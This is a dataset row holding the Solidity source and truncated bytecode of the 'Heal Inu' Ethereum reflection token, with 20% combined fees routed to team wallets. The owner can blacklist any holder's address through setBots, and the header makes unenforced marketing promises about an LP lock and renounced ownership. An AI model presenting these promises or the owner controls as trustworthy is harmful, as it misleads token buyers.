address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xfb92a127ea3ad0b7f4ba404e2f6e0f5e987e4889
|
/*
___ ___ .__ _________ __
/ | \ ____ _____ | | \_ ___ \_______ ___.__._______/ |_ ____
/ ~ \_/ __ \\__ \ | | / \ \/\_ __ < | |\____ \ __\/ _ \
\ Y /\ ___/ / __ \| |__ \ \____| | \/\___ || |_> > | ( <_> )
\___|_ / \___ >____ /____/ \______ /|__| / ____|| __/|__| \____/
\/ \/ \/ \/ \/ |__|
*/
// Heal Inu | $Heal
// Telegram: https://t.me/HealInu
// Twitter: https://twitter.com/InuHeal
// Fair Launch, no Presale/Dev Tokens. 100% LP.
// Bot Protection.
// LP Lock immediately after launch.
// Ownership will be renounced 30 minutes after launch.
// Slippage Recommended: 20%+
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HealInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Heal Inu";
string private constant _symbol = "Heal \xE2\x9D\xA4";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 10;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600881526020017f4865616c20496e75000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4865616c20e29da4000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b600a600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff